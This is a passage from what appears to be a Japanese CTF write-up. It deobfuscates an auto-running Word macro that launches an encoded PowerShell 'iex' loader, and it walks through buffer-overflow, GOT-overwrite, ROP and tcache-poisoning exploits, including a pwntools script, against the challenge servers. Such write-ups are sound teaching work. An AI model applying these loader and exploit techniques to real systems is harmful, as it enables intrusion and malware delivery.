   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function


-------------------------------------------------------------------------------
VBA MACRO ThisDocument
in file: emoemotet.doc - OLE stream: 'ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

このスクリプトpythonで書き直すと以下のようになります。

def Array(*args):
    return list(args)

def unxor(ciphertext, start):
    key = base64.b64decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkll3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh93K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6nd1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = b""
    for i in range(len(ciphertext)):
       cleartext += bytes([key[i+start] ^ ciphertext[i]])
    return cleartext

x = unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3)
x += unxor(Array(201, 1), 14)
x += unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16)
x += unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66)
x += unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155)
x += unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244)
x += unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333)
x += unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422)
x += unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511)
x += unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600)
x += unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689)
x += unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778)
x += unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867)
x += unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956)
x += unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045)
x += unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134)
x += unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223)
x += unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
print(x)

実行すると次の出力が得られます。

b'WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA'

powershellで何か実行しているようです。powershell-ebase64エンコードされたスクリプトを実行するオプションです。-e以下の部分をbase64デコードし、印字可能な部分だけ取り出すと次のようになります。

.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()

上のコードはbc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp...base64デコードしてdeflateで解凍し、得られたスクリプトを実行するという処理を行います。

次のコードでbase64デコードして解凍する部分までの処理を行いました。

$encoded = 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream([IO.MemoryStream][System.Convert]::FromBase64String($encoded), [System.IO.Compression.CompressionMode]::Decompress))
$sr.ReadToEnd()

powershellで実行すると、FLAGをチェックするスクリプトが得られます。

$ .\emoemotet.ps1
echo "Yes, we love VBA!"

$input = Read-Host "Password"

if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

よって、フラグは、FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}となります。

Pwn

nc

netcatでサーバーに接続して、cat flag.txtを実行するとフラグが得られます。

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

BOF

BOFでokの値を書き換えるとフラグが表示されます。

$ python3 -c 'print("A" * 0x40)' | nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

GOT rewriter

0x600000~0x700000の任意のアドレスに任意の値を書き込めるので、printfあたりのGOTをwinのアドレスに書き換えるとフラグが得られます。

$ objdump -d got -j .plt | grep printf -A 2
00000000004006d0 <printf@plt>:
  4006d0:       ff 25 62 09 20 00       jmpq   *0x200962(%rip)        # 601038 <printf@GLIBC_2.2.5>
  4006d6:       68 04 00 00 00          pushq  $0x4
  4006db:       e9 a0 ff ff ff          jmpq   400680 <.plt>
$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 0x601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

rop-machine-returns

以下の手順で解きました。

  1. append "rop rdi; ret"
  2. append hex value/bin/shのアドレスを追加
  3. append "system" addr
  4. execute rop
$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 9
     rop_arena
+--------------------+
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}

baby heap

tcache poisoningでリターンアドレスを書き換える問題です。

以下の手順で解きました。

  1. heap_list[0]malloc
  2. heap_list[1]malloc
  3. heap_list[0]をfree
  4. heap_list[1]をfree
  5. heap_list[1]にmain関数のリターンアドレスを書き込む
  6. heap_list[2]malloc
  7. heap_list[3]malloc
  8. heap_list[3]system("/bin/sh")のアドレスを書き込む
  9. exit

7でmain関数のリターンアドレスが確保され、そこにsystem("/bin/sh")のアドレスを書き込むことでexitしたときにsystem("/bin/sh")が実行されます。

$ nc babyheap.pwn.wanictf.org 9006
Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10

system('/bin/sh') at >0x559d3da6b342
Return address of main at >0x7ffffc13bb58

Bin count >0

!! Segfault may happen when fd isn't readable address
fd >>>
           ↑
Will be allocated for the next malloc

[0] : Not Allocated
[1] : Not Allocated
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated
---------------
1. malloc
2. free
3. write
4. exit
>1
Where? >0

...

Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10

system('/bin/sh') at >0x559d3da6b342
Return address of main at >0x7ffffc13bb58

Bin count >0

!! Segfault may happen when fd isn't readable address
fd >>>
           ↑
Will be allocated for the next malloc

[0] : Free Chunk
Chunk at>0x559d3dc152c0
fd : 0x0
[1] : Allocated Chunk
Chunk at>0x559d3dc152e0
Data :
[2] : Allocated Chunk
Chunk at>0x559d3dc152e0
Data :
[3] : Allocated Chunk
Chunk at>0x7ffffc13bb58
Data : B��=�U
[4] : Not Allocated
---------------
1. malloc
2. free
3. write
4. exit
>4

ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{This_is_Hint_for_the_diva}

rop-machine-final

次の処理を行うROPを組みました。

gets(buf);
open(buf, O_RDONLY);
read(3, buf, 0x100);
write(1, buf, 0x100);

gets(buf)が実行されたときにflag.txtを入力すると、flag.txtの内容がbufに読みだされ、出力されます。

from pwn import *

p = remote("rop-machine-final.pwn.wanictf.org", 9005)

p.recvuntil(b'"buf" address is')
buf_addr = int(p.recvline().strip(), 16)

def push(x):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b": ")
    p.sendline(hex(x).encode())

def pop_rdi():
    p.recvuntil(b"> ")
    p.sendline(b"2")

def pop_rsi():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def pop_rdx():
    p.recvuntil(b"> ")
    p.sendline(b"4")

def gets(buf):
    pop_rdi(); push(buf)
    p.recvuntil(b"> ")
    p.sendline(b"5")

def open(path, opt):
    pop_rdi(); push(path)
    pop_rsi(); push(opt)
    p.recvuntil(b"> ")
    p.sendline(b"6")

def read(fd, buf, size):
    pop_rdi(); push(fd)
    pop_rsi(); push(buf)
    pop_rdx(); push(size)
    p.recvuntil(b"> ")
    p.sendline(b"7")

def write(fd, buf, size):
    pop_rdi(); push(fd)
    pop_rsi(); push(buf)
    pop_rdx(); push(size)
    p.recvuntil(b"> ")
    p.sendline(b"8")

def exec():
    p.recvuntil(b"> ")
    p.sendline(b"0")

gets(buf_addr)
open(buf_addr, 0)
read(3, buf_addr, 0x100)
write(1, buf_addr, 0x100)
exec()
p.interactive()
$ python3 solve.py
[+] Opening connection to rop-machine-final.pwn.wanictf.org on port 9005: Done
[*] Switching to interactive mode
cmd = 0x0
             rop_arena
+-----------------------------------+
| 0x000000000040138c (pop rdi; ret) |<- rop start
+-----------------------------------+
| 0x0000000000000000000000000404140 |
+-----------------------------------+
| 0x00007f0bb564c190 (gets        ) |
+-----------------------------------+
| 0x000000000040138c (pop rdi; ret) |
+-----------------------------------+
| 0x0000000000000000000000000404140 |
+-----------------------------------+
| 0x0000000000401399 (pop rsi; ret) |
+-----------------------------------+
| 0x0000000000000000000000000000000 |
+-----------------------------------+
| 0x00007f0bb56dbd10 (open        ) |
+-----------------------------------+
| 0x000000000040138c (pop rdi; ret) |
+-----------------------------------+
| 0x0000000000000000000000000000003 |
+-----------------------------------+
| 0x0000000000401399 (pop rsi; ret) |
+-----------------------------------+
| 0x0000000000000000000000000404140 |
+-----------------------------------+
| 0x00000000004013a6 (pop rdx; ret) |
+-----------------------------------+
| 0x0000000000000000000000000000100 |
+-----------------------------------+
| 0x00007f0bb56dc140 (read        ) |
+-----------------------------------+
| 0x000000000040138c (pop rdi; ret) |
+-----------------------------------+
| 0x0000000000000000000000000000001 |
+-----------------------------------+
| 0x0000000000401399 (pop rsi; ret) |
+-----------------------------------+
| 0x0000000000000000000000000404140 |
+-----------------------------------+
| 0x00000000004013a6 (pop rdx; ret) |
+-----------------------------------+
| 0x0000000000000000000000000000100 |
+-----------------------------------+
| 0x00007f0bb56dc210 (write       ) |
+-----------------------------------+
$ flag.txt
FLAG{you-might-be-the-real-rop-master}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\xc1d\xb5\x0b\x00\x10m\xb5\x0b\x00@\xc1m\xb5\x0b\x00\x10m\xb5\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Segmentation fault (core dumped)
[*] Got EOF while reading in interactive

tarinai

rbpの下位2byteを書き換えることができます。

